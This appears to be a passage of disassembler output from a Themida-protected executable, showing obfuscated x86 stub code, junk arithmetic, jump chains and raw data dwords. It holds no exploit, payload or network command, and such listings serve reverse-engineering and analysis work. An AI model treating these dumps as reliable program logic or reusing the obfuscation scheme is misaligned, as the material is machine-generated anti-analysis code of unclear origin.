; ---------------------------------------------------------------------------

loc_55D007:				; CODE XREF: Themida_:00558CD5j
		mov	ebp, 1F0912A0h
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	eax
		push	2B482998h
		pop	eax
		add	eax, 14D808A4h
		mov	esi, eax
		jmp	loc_55A92B
; ---------------------------------------------------------------------------
		dd 0EA81C201h, 7CD728CFh, 0D8EA8158h, 0E9602D45h, 0FFFF432Ch
; ---------------------------------------------------------------------------

loc_55D03C:				; CODE XREF: Themida_:00556179j
		sub	eax, ebx
		add	eax, 65173CA7h
		pop	ebx
		jmp	loc_55BA7E
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 405E089h, 0E9000000h, 0FFFF8854h, 0BCA62368h, 0BA525E6Dh
		dd 47821091h, 295AD501h, 91ED81F5h, 5E478210h, 0E95DE829h
		dd 0FFFFA6E9h, 0C4E953ADh, 1FFFFF2h, 243C8BF8h,	51E08950h
		dd 0FF9EEEE9h, 66AD66FFh, 6629F105h, 6651DC2Dh,	5766D801h
		dd 51DCBF66h, 0E9F80166h, 0FFFFE732h, 0A0E9F088h, 80FFFF6Eh
		dd 5B6628EEh, 53E9CEFEh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D0BB:				; CODE XREF: Themida_:0055386Dj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55B71F
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 17h
		dd 57FFFFE4h, 4BFh, 11A86800h, 14890000h, 43FABA24h, 0F2816D74h
		dd 7E367029h, 15AD529h,	21BA52FDh, 0E9583148h, 0FFFFCF0Ch
; ---------------------------------------------------------------------------

loc_55D0F8:				; CODE XREF: Themida_:00554775j
		mov	edx, 4
		add	ebx, edx
		jmp	loc_555381
; ---------------------------------------------------------------------------
		dd 425EE95Ch, 0CDBAFFFFh, 0E96B443Eh, 0FFFF9DBDh
; ---------------------------------------------------------------------------

loc_55D114:				; CODE XREF: Themida_:005590C0j
		pop	esp
		jmp	loc_5555EB
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 242C8B24h, 4D04C483h, 0CE9E5D1h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D12B:				; CODE XREF: Themida_:0055AFAFj
		push	6E0E5527h
		pop	eax
		xor	ecx, eax
		pop	eax
		jmp	loc_551B9E
; ---------------------------------------------------------------------------
		db 64h,	66h, 0Fh
		dd 895202B6h, 22BE56E2h, 4E26FB4Eh, 0E903EEC1h,	0FFFFFE23h
		dd 0F680CEFEh, 5AF128E8h, 0FE02E9C0h, 0B35366C9h, 66D90047h
		dd 59CB005Bh, 0FF92C2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D16D:				; CODE XREF: Themida_:005554CDj
		sub	eax, 0F4EF1258h
		sub	edx, eax
		pop	eax
		add	edx, edi
		push	ebx
		mov	ebx, 0F1332E8h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [edx]
		pop	edx
		push	1
		push	dword ptr [esp]
		jmp	loc_55281E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 243C895Ch, 1CE9E789h, 57FFFFFEh, 3B48F5BFh, 0F7814F3Fh
		dd 8B76E54h, 815FFA29h,	885708C2h, 0F2BE56FEh, 462F497Eh
		dd 65E2CE81h, 79E92260h, 31FFFF54h, 0BAE92414h,	5CFFFF5Ah
		dd 0E9240C89h, 0FFFFC478h, 0D187D2F7h, 0FFA14AE9h, 5FF901FFh
		dd 559C801h, 4,	5C240487h, 205h, 24048700h, 0D224248Bh
		dd 0E99C242Ch, 0FFFF4160h, 81242C89h, 4ECh, 6B3AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D216:				; CODE XREF: Themida_:00553972j
		mov	esi, [esp]
		jmp	loc_55C2CA
; ---------------------------------------------------------------------------
		dw 5658h
		dd 0FFB9E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D225:				; CODE XREF: Themida_:00553E91j
		shr	ebx, 8
		not	ebx
		xor	ebx, 0FFCEB0EDh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55ADD5
; ---------------------------------------------------------------------------

loc_55D23E:				; CODE XREF: Themida_:0055AD70j
		dec	edx
		sub	edx, 8CA9FE41h
		mov	ebp, edx
		pop	edx
		add	edx, ebp
		pop	ebp
		shl	edx, 8
		add	edx, 7F074AA1h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 509F8D5Fh
		add	edx, 4C3B32E0h
		jmp	loc_559405
; ---------------------------------------------------------------------------
		dw 2F68h
		dd 89000074h, 0EC81241Ch, 4, 0E9242489h, 0FFFFF10Eh, 4C481h
		dd 88510000h, 59CA88F9h, 0CEB9E95Bh, 0C89FFFFh,	4B0FE924h
		dd 0E954FFFFh, 0FFFFC141h, 4C481h, 48F0000h, 1EE95C24h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D2AF:				; CODE XREF: Themida_:005519A9j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_551429
; ---------------------------------------------------------------------------
		dd 50E78853h, 288F888h,	0FFA1C2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D2C5:				; CODE XREF: Themida_:0055C870j
		mov	[esp], edx
		jmp	loc_552973
; ---------------------------------------------------------------------------

loc_55D2CD:				; CODE XREF: Themida_:0055B222j
		sub	ebx, edi
		pop	edi
		add	edi, ebx
		pop	ebx
		push	18CAh
		jmp	loc_552562
; ---------------------------------------------------------------------------
		db 35h,	81h, 40h
		dd 0C2012042h, 24148758h, 0FFFE17E9h, 5EFC1FFh,	7BACF781h
		dd 0C681012Ah, 57F061CBh, 0EE81FE29h, 57F061CBh, 0FF86DEE9h
		dd 0B95153FFh, 7ABF0179h, 0C181D9F7h, 77FF43ADh, 14BC181h
		dd 0CB8931F4h, 5BD82959h, 0B6E9F001h, 66FFFFA7h, 5624048Bh
		dd 0E904EC83h, 0FFFF976Dh, 650CA1B9h, 8E9C14Eh,	0FFDF71E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D345:				; CODE XREF: Themida_:00557C62j
		push	dword ptr [esp]
		jmp	loc_5514FD
; ---------------------------------------------------------------------------
		db 66h,	1, 5Ch
		dd 53660224h, 71B96651h, 0CB896667h, 0FFF7C3E9h, 240C8BFFh
		dd 0E904C483h, 0FFFF5046h, 0B850E389h, 5F5E6F5Bh, 0E905E8C1h
		dd 0FFFFC226h, 41685D59h, 89000050h, 0FEBA2414h, 0F71B750Ah
		dd 99F281D2h, 0E9234059h, 0FFFFE349h, 0E5C1DDF7h, 80F58102h
		dd 1A20800h, 4055DE8h, 33000000h, 0E4E92404h, 0ADFFFFE5h
		dd 34C7BF57h, 0C7814CAAh, 0F74C2E3Ah, 815FFE29h, 0AE34A1EEh
		dd 81C60150h, 0AE34A1C6h, 0B8505750h, 3B6B585Bh, 2414F750h
		dd 0E017E958h, 4D05FFFFh, 1079924h, 46BE56F8h, 816FA76Fh
		dd 0E4AF9EEh, 0D3F7E968h, 815AFFFFh, 0A34E14C3h, 55C32955h
		dd 0FF82B3E9h, 2474FFFFh, 48F5E04h, 0FDBDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D416:				; CODE XREF: Themida_:00558865j
		mov	ebx, 4
		jmp	loc_554AEB
; ---------------------------------------------------------------------------
		dd 4BB0F66h, 3DE99C24h,	8BFFFF3Fh, 0C4832404h, 24048F04h
		dd 0FFAF9AE9h, 51E1F7FFh, 4EC81h, 24890000h, 24048124h
		dd 4, 4C18159h,	55000000h, 0FF5A4AE9h, 241C89FFh, 4BBh
		dd 0E9D90100h, 0FFFFF1ADh, 68240C89h, 6C34h, 0BD242C89h
		dd 14460E37h, 2C8BE989h, 4C48124h, 0E9000000h, 0FFFF58CFh
		dd 468FF381h, 0DE01DCECh, 2C6815Bh, 0E9000000h,	0FFFFA4CDh
; ---------------------------------------------------------------------------

loc_55D49C:				; CODE XREF: Themida_:00552C34j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55A255
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		push	ecx
		mov	ecx, 52615DDh
		jmp	loc_556286
; ---------------------------------------------------------------------------
		db 58h
		dd 0E904C483h, 0FFFF3E9Ch
; ---------------------------------------------------------------------------

loc_55D4CC:				; CODE XREF: Themida_:00557468j
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	edi
		jmp	loc_55C770
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 5EEC15Bh, 32EEE81h, 0C681017Eh, 3C0212FCh, 0FF52FDE9h
		dd 0FFC301FFh, 0E9582434h, 0FFFF605Dh, 8702E5C1h, 87D7F7FDh
		dd 2E5C1FDh, 0ED81D5F7h, 0D446C38Bh, 815DEF29h,	0A65AA0F7h
		dd 8BFD09FDh, 0C483243Ch, 9494E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D526:				; CODE XREF: Themida_:0055348Ej
		jmp	loc_551368
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	25E904C6h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D53B:				; CODE XREF: Themida_:00557301j
		shl	esi, 7
		add	esi, 1
		jmp	loc_553753
; ---------------------------------------------------------------------------
		dw 304h
		dd 24677FFEh, 9345FFFFh, 69DDFA2Ch, 6C8B00A1h, 5Bh, 0A7080000h
		dd 207FFFFh, 20000h, 10000h, 30000h, 93450000h,	0FA2Ch
		dd 4 dup(0)
		dd 5A800000h, 13130056h, 24480056h, 30DE0056h, 2C4A0056h
		dd 84870056h, 18450056h, 0A2600057h, 68F50056h,	28880056h
		dd 0EEA50056h, 0A96B0056h, 444A0056h, 77E30056h, 0FC2B0056h
		dd 0DC8F0056h, 215C0055h, 0CD540057h, 3940056h,	7A3B0057h
		dd 914E0056h, 92400056h, 0EF450056h, 0D4F00056h, 6AF30056h
		dd 29EA0056h, 1C130056h, 0F4EE0056h, 4FEB0055h,	44C50056h
		dd 0F8B30056h, 70330056h, 41D0056h, 468E0056h, 10110056h
		dd 1E720057h, 9E60057h,	17A50057h, 5B710056h, 26380056h
		dd 37800056h, 23420056h, 0DBF90056h, 0E3D10056h, 42F60055h
		dd 99280056h, 0F4640056h, 80710055h, 22B20056h,	0B35C0056h
		dd 0D2420056h, 277E0056h, 5E040056h, 0B9630056h, 35830056h
		dd 5D7B0056h, 0F430056h, 0C4880056h, 0E6540056h, 0FC820055h
		dd 44200055h, 0D74F0056h, 0B0690056h, 240F0056h, 0EBC10057h
		dd 22680055h, 0D5720057h, 0F9440056h, 9E610056h, 49B50056h
		dd 8EEA0056h, 0F5DC0056h, 0CE6D0055h, 0D8700056h, 47670056h
		dd 0C39B0056h, 0D590056h, 1EDC0056h, 36750056h,	52830056h
		dd 0D7760056h, 6ED90056h, 0E0F20056h, 0DF830055h, 899A0055h
		dd 8950056h, 0E2620057h, 0D6BB0055h, 0FFC80056h, 7FA0056h
		dd 0A9FA0056h, 1DF0056h, 5BF10056h, 5F7C0056h, 0E1680056h
		dd 92C0055h, 0A5CD0057h, 12A60056h, 17900057h, 7F60057h
		dd 0FBF70057h, 0C90055h, 14E60057h, 6580057h, 57CF0057h
		dd 188E0056h, 0EE0A0057h, 67B90056h, 301F0056h,	63520056h
		dd 0EB10056h, 158A0056h, 2B30056h, 10EE0056h, 3870057h
		dd 26F60056h, 0CFFE0056h, 348F0056h, 15D30056h,	1AF00057h
		dd 1DB70056h, 0B3F90056h, 0FC130056h, 787C0055h, 0C93C0056h
		dd 46020056h, 8CAA0056h, 0C740056h, 0E48E0057h,	0E4D40056h
		dd 504B0055h, 17640056h, 146F0056h, 0F4F20057h,	0F32C0056h
		dd 46D20056h, 5FD20056h, 0C46C0056h, 18FB0056h,	84AC0057h
		dd 0F7360056h, 84E0055h, 1FCA0056h, 734F0056h, 0B5B40056h
		dd 39310056h, 70740056h, 385E0056h, 0E05A0056h,	0D6630056h
		dd 0CE0A0056h, 18E20056h, 27B80056h, 4C9D0056h,	6D30056h
		dd 4B0B0057h, 571C0056h, 0CFB80056h, 83C00056h,	0B290056h
		dd 39790057h, 3F10056h,	0A5790056h, 2B4C0056h, 0AB810056h
		dd 0AECC0056h, 0E8050056h
		db 56h,	0
; ---------------------------------------------------------------------------

loc_55D826:				; CODE XREF: Themida_:005A4095j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62944E9h
		mov	eax, edi
		add	edi, 6294201h
		cmp	eax, [edi+2Ch]
		jnz	short loc_55D844
		jmp	short loc_55D857
; ---------------------------------------------------------------------------

loc_55D844:				; CODE XREF: Themida_:0055D840j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55D853
; ---------------------------------------------------------------------------

loc_55D84E:				; CODE XREF: Themida_:0055D855j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_55D853:				; CODE XREF: Themida_:0055D84Cj
		or	ecx, ecx
		jnz	short loc_55D84E

loc_55D857:				; CODE XREF: Themida_:0055D842j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_55D864:				; CODE XREF: Themida_:0055D86Bj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55D864

loc_55D86D:				; CODE XREF: Themida_:0055DB27j
					; Themida_:loc_55E5C6j	...
		lodsb
		jmp	loc_55F3F0
; ---------------------------------------------------------------------------

loc_55D873:				; CODE XREF: Themida_:0055EA5Ej
		mov	ebp, 4
		sub	ecx, ebp
		jmp	loc_5718E7
; ---------------------------------------------------------------------------
		db 83h
		dd 343304C4h, 24343124h, 0FAAEE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D88D:				; CODE XREF: Themida_:0057035Ej
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_568FE5
; ---------------------------------------------------------------------------
		dd 4C681h, 34870000h, 5EE95C24h
		db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D8AB:				; CODE XREF: Themida_:0055EBFAj
		add	esi, 6756A791h
		add	ecx, esi
		pop	esi
		jmp	loc_565CF1
; ---------------------------------------------------------------------------

loc_55D8B9:				; CODE XREF: Themida_:0055E9FCj
		mov	edx, 6C8E62C7h
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		neg	edi
		xchg	edi, edx
		jmp	loc_5621C0
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0A69CE9h, 10E94200h,	8300013Fh, 3C3304C7h, 243C3124h
		dd 0E9243C33h, 0A8ECh, 241C8B66h, 0E902C483h, 9FBh, 0C3815B54h
		dd 4, 4EB81h, 1C330000h, 241C3124h, 0E9241C33h,	1165Bh
		dd 9AE0E95Bh, 2BB0000h,	81000000h, 0EE3B43C6h, 50DE011Dh
		dd 0EE3B43B8h, 3C0E91Dh, 2C890000h, 0A9B85024h,	25226C2Ch
		dd 10E15E06h, 2508E0C1h, 344558DCh, 0B105D0F7h,	898E8C35h
		dd 0E5C158C5h, 32CD8103h, 816DF459h, 892A60C5h,	0F1C2819Ch
		dd 168B827h, 47E6E9EAh,	74FF0000h, 8F5A0424h, 248B2404h
		dd 243CD224h, 3402E99Ch, 34FF0000h, 0EFE95924h,	52000047h
		dd 7A71A568h, 0D5215A46h, 5A2434FFh, 8104C483h,	2919B1EDh
		dd 658E945h, 0E95D0001h, 133AAh, 4EDC14Dh, 92AE945h, 0EA310000h
		dd 2C81525Dh, 25117F24h, 0C3815B59h, 5925117Fh,	5BDA015Ah
		dd 3583EA81h, 0D3097CDEh, 0A5EB815Ah, 8105E75Ch, 0A95063EBh
		dd 96BF572Ch, 817A160Ch, 98647DEFh, 26F7814Eh, 0F74FC925h
		dd 4385E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D9FA:				; CODE XREF: Themida_:00566EABj
		dec	ebx
		jmp	loc_5657E7
; ---------------------------------------------------------------------------
		dd 4247C01h, 4246C81h, 2EA37E54h, 144ACE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DA11:				; CODE XREF: Themida_:0056F75Dj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	594Eh
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_56F986
; ---------------------------------------------------------------------------

loc_55DA31:				; CODE XREF: Themida_:00561B3Dj
		inc	ebx
		jmp	loc_56010F
; ---------------------------------------------------------------------------
		db 53h
		dd 0F76E7BBBh, 7FF3815Fh, 295FF76Eh, 241C8BD9h,	4C481h
		dd 0FF510000h, 0E9042474h, 10674h, 81E78957h, 4C7h, 4C78300h
		dd 0E9243C87h, 4F0Eh, 243C895Ch, 6E176850h, 48B00FDh, 4C48124h
		dd 5000000h, 11DC112Ch,	5156D8F7h, 586072B9h, 0E12BBE59h
		dd 0EE81467Eh, 68EE38C3h, 32F7E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DA9D:				; CODE XREF: Themida_:005637F4j
		pop	ebp
		shr	ebp, 7
		or	ebp, 555503FBh
		shr	ebp, 1
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 7336A6CAh
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	esi
		jmp	loc_55F2DA
; ---------------------------------------------------------------------------
		db 57h
		dd 3A9AB850h, 9ABF0E49h, 1354124h, 0FF5758C7h, 0E95F2404h
		dd 13371h
; ---------------------------------------------------------------------------

loc_55DAD8:				; CODE XREF: Themida_:0056AACCj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_56A6F5
; ---------------------------------------------------------------------------

loc_55DAE7:				; CODE XREF: Themida_:00566766j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	ebp
		mov	ebp, 16A05B4h
		jmp	loc_57248B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0E953243Ch, 0F437h, 2C481h, 0F4800000h, 58E300F9h
		dd 1071EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DB19:				; CODE XREF: Themida_:0057061Fj
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		dd 5247488h, 148B665Ah,	74E1E924h, 76340000h, 936FE9h
		dd 241C8700h, 54A0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DB49:				; CODE XREF: Themida_:0055F65Bj
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55E615
; ---------------------------------------------------------------------------

loc_55DB5C:				; CODE XREF: Themida_:00569524j
		add	ch, 7Dh
		not	ch
		xor	ch, 0B7h
		xor	bh, ch
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_5696B7
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95F0424h, 14248h, 4AE9D5F7h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DB83:				; CODE XREF: Themida_:0056DAF1j
		xor	ch, 6Ch
		or	dl, ch
		pop	ecx
		xor	dl, 0FBh
		jmp	loc_566B30
; ---------------------------------------------------------------------------

loc_55DB91:				; CODE XREF: Themida_:0056271Aj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		jmp	loc_5690A5
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4B850h, 44010000h, 0D3E90424h
		db 3Bh,	1, 0
; ---------------------------------------------------------------------------

loc_55DBB7:				; CODE XREF: Themida_:0055EEFCj
		pop	dword ptr [esp]
		jmp	loc_567541
; ---------------------------------------------------------------------------

loc_55DBBF:				; CODE XREF: Themida_:00562CFFj
		add	al, bl
		jmp	loc_5629C6
; ---------------------------------------------------------------------------
		dw 0D800h
aSs		db '[ИS!',0
		align 2
		dw 0FC30h
		dd 81241C8Bh, 4C4h, 0DFEC8000h,	0F58E328h, 48DC0B6h, 0F716887h
		dd 3C890000h, 0E9E78924h, 6C1Eh, 322868h, 397EE900h, 0F3810001h
		dd 4E710BB1h, 146D3E9h,	58C22900h, 1A6DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DC11:				; CODE XREF: Themida_:0056AB03j
		push	edi
		mov	edi, 3436BECh
		shl	edi, 6
		shr	edi, 4
		inc	edi
		add	edi, 1
		or	edi, 3F853EB7h
		xor	edi, 12FFC223h
		mov	ebx, edi
		pop	edi
		jmp	loc_562C3C
; ---------------------------------------------------------------------------

loc_55DC35:				; CODE XREF: Themida_:00571CFBj
		mov	edx, [esp]
		add	esp, 4
		push	7BF3h
		mov	[esp], ebp
		jmp	loc_57061B
; ---------------------------------------------------------------------------

loc_55DC48:				; CODE XREF: Themida_:0055FBC3j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56FED7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C210CC5h, 5DEB313Bh, 743DEA81h, 0DA01255Dh,	743DC281h
		dd 425B255Dh, 0C14E9h, 59C80100h, 0CF2DD001h, 5A2B1815h
		dd 31240433h, 0D1E92404h, 80000061h, 17E92AF5h,	0FF0000AAh
		dd 669D1C77h, 241CD359h, 0FBCFE99Ch, 3C8BFFFFh,	4C48124h
		dd 68000000h, 72FDh, 0BE243489h, 4A787D16h, 13232E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DCB9:				; CODE XREF: Themida_:00562975j
		mov	[esp], edx
		jmp	loc_5670C6
; ---------------------------------------------------------------------------

loc_55DCC1:				; CODE XREF: Themida_:005644DEj
		mov	ecx, ebx
		pop	ebx
		and	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_568AAB
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 7E262D24h, 0C8015156h, 5E96BF57h, 0E7C10B33h, 0DAEF8107h
		dd 0E94858CCh, 373h, 1BCDE952h,	0C6290001h, 0FF565B58h
		dd 5E042474h, 8B24048Fh, 0E9F62424h, 0CCB60F66h, 6A206866h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFFB51h, 4395C581h
		dd 36E97C04h, 550000DBh, 0BF21ABBDh, 2444814Bh,	62058008h
		dd 2F02E95Eh, 3CB70001h, 0E902EC83h, 0ECD8h, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 10223E9h,	0F4B45000h, 0E97FB551h
		dd 43C5h, 240C8966h, 0CF0001B1h, 0E9535966h, 828Ah, 765AB951h
		dd 0DFE97557h, 5B000117h, 4F85E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DD85:				; CODE XREF: Themida_:0056D3A5j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 0C5370E2h
		jmp	loc_56DE1F
; ---------------------------------------------------------------------------
aBipanRh	db '│Кpa╜+Rh',0
		dd 5A000000h, 8851DA01h, 91C6E9C5h, 0C890000h, 60DFB924h
		dd 49411BF3h, 0DCE98141h, 11BF360h, 48759C8h, 0C1815C24h
		dd 4, 2B850h, 0C1810000h, 76343262h, 8E9C129h, 680000B6h
		dd 1DB0h, 89241C89h, 4973E9E3h,	15E0001h, 0D8DE9C3h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55DDF2:				; CODE XREF: Themida_:0056C871j
		pop	ebx
		jmp	loc_561B9C
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Fh,	5124248Bh, 977E8B9h, 0E9D1492Eh
		dd 3A4AE9h, 48B6600h, 49B26824h, 2C890000h, 7E04E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DE22:				; CODE XREF: Themida_:0056CD8Dj
		add	edx, 434C2FF9h
		add	edx, eax
		jmp	loc_56A412
; ---------------------------------------------------------------------------
		db 89h
		dd 46850E3h, 58000000h,	48BC301h, 4C48124h, 81000000h
		dd 4C3h, 241C3300h, 6AE2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DE51:				; CODE XREF: Themida_:0055F275j
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		add	ecx, edi
		pop	edi
		push	557Eh
		mov	[esp], ebp
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		add	ecx, 4E9C1DCDh
		sub	ecx, ebp
		sub	ecx, 4E9C1DCDh
		pop	ebp
		push	2FC7h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_56EE57
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E99C2404h, 0FFFFF9D1h, 4B9h, 0E9C80100h, 0CBA9h, 5C241487h
		dd 0FFF9BCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DEB1:				; CODE XREF: Themida_:0056F0C3j
		xor	ebx, [esp]
		pop	esp
		push	ecx
		push	eax
		jmp	loc_565697
; ---------------------------------------------------------------------------
		dd 241701BFh, 5FFE014Eh, 408168h, 24348900h, 0E308FB68h
		dd 2434FF25h, 0C8D4E9h,	87D7F700h, 81DF87FBh, 7F63A7E7h
		dd 31D6E929h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55DEEA:				; CODE XREF: Themida_:00561ADAj
		push	dword ptr [esp]
		jmp	loc_56943B
; ---------------------------------------------------------------------------
		dw 76E9h
		dd 57FFFFF9h, 8057F3BFh, 0F9C3E91Fh, 0E9570000h, 0CBDBh
		dd 4240483h, 0CFE9555Fh, 53000111h, 8225B7BBh, 1C3816Dh
		dd 0C1000000h, 0D3F703E3h, 10E0E9h, 815E5400h, 4C6h, 4C68100h
		dd 87000000h, 0E95C2434h, 102FFh
; ---------------------------------------------------------------------------

loc_55DF40:				; CODE XREF: Themida_:00570153j
		sub	ebp, esi
		jmp	loc_564FF9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 8BD80100h, 0C481241Ch,	4, 39E668h, 24048900h
		dd 42474FFh, 0A900E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DF69:				; CODE XREF: Themida_:0056D487j
		mov	[esp], esi
		mov	esi, 8000h
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_564008
; ---------------------------------------------------------------------------

loc_55DF7B:				; CODE XREF: Themida_:0056B2FAj
		shr	eax, 7
		jmp	loc_563A10
; ---------------------------------------------------------------------------
		db 0FFh
aWS1		db 'w<И1т',0
		dw 0BE00h
		dd 6A1D5B7Eh, 72D4CE81h, 0C6811010h, 75D97E35h,	1EE81h
		dd 0EE810000h, 76DB28D1h, 0C681D6F7h, 791BD166h, 0ED98E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DFB5:				; CODE XREF: Themida_:0056A1F9j
		pop	esp
		jmp	loc_55FEFD
; ---------------------------------------------------------------------------
		db 59h
		dd 2474FF56h, 48F5E04h,	24248B24h, 8008E3C0h, 0E38601C3h
		dd 1873E9h, 4BA00h, 87E90000h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DFDF:				; CODE XREF: Themida_:0055F052j
		add	esp, 4
		sub	dl, 90h
		push	eax
		push	ecx
		mov	cl, dl
		jmp	loc_56230C
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4C38300h, 5C241C87h, 2C781h, 3C870000h, 8B665C24h
		dd 68522414h, 5F6Ah, 0D6ABE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E019:				; CODE XREF: Themida_:00561CBAj
		add	edi, 0FFFFFFFFh
		sub	edi, 6B3694B8h
		xor	esi, edi
		pop	edi
		add	ebp, esi
		pop	esi
		add	ebp, 4
		push	2FCEh
		mov	[esp], ebp
		jmp	loc_568833
; ---------------------------------------------------------------------------
		dw 0B768h
		dd 5A0B534Ah, 43E9DAF7h, 68000095h, 29Ah, 83242489h, 0FF042404h
		dd 94E92434h, 1000110h,	51595FF8h, 120F3B9h, 4FF5102h
		dd 0C1815924h, 24936785h, 0E14FE9h, 24048F00h, 955E9h
		dd 8BC70900h, 0C4812404h, 4, 27E1E9h, 555D5F00h, 81240C87h
		dd 4ECh, 240C8900h, 0F7243487h,	243487D6h, 12035E9h, 2AC18100h
		dd 5858E604h, 4D595D51h, 0ED81D5F7h, 6E8D2A79h,	4052E581h
		dd 8145708Dh, 8DC268F5h, 5DEE29D0h, 348BF301h, 4C48324h
		dd 3E8DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E0DD:				; CODE XREF: Themida_:00561988j
		not	edx
		dec	edx
		jmp	loc_5671DE
; ---------------------------------------------------------------------------

loc_55E0E5:				; CODE XREF: Themida_:0056DB1Fj
		sub	ecx, offset dword_549154
		add	edi, ecx
		jmp	loc_56A185
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 11589D1Ch, 0E99C2404h, 0FFFFF76Dh
; ---------------------------------------------------------------------------

loc_55E100:				; CODE XREF: Themida_:0056915Cj
		push	11C6h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_56E554
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BF00004h, 0C4812414h, 4, 53665051h,	0FC8889B7h, 0BD47E9h
		dd 0C7815F00h, 72F20CC7h, 0ADF7C781h, 0FB016E74h, 468505Fh
		dd 58000000h, 12A54E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E145:				; CODE XREF: Themida_:0056BA12j
		pop	edi
		sub	ebp, 72D525ABh
		add	ebp, 3F57081Ch
		sub	ebp, edx
		sub	ebp, 3F57081Ch
		add	ebp, 72D525ABh
		push	dword ptr [esp]
		jmp	loc_55E9E1
; ---------------------------------------------------------------------------
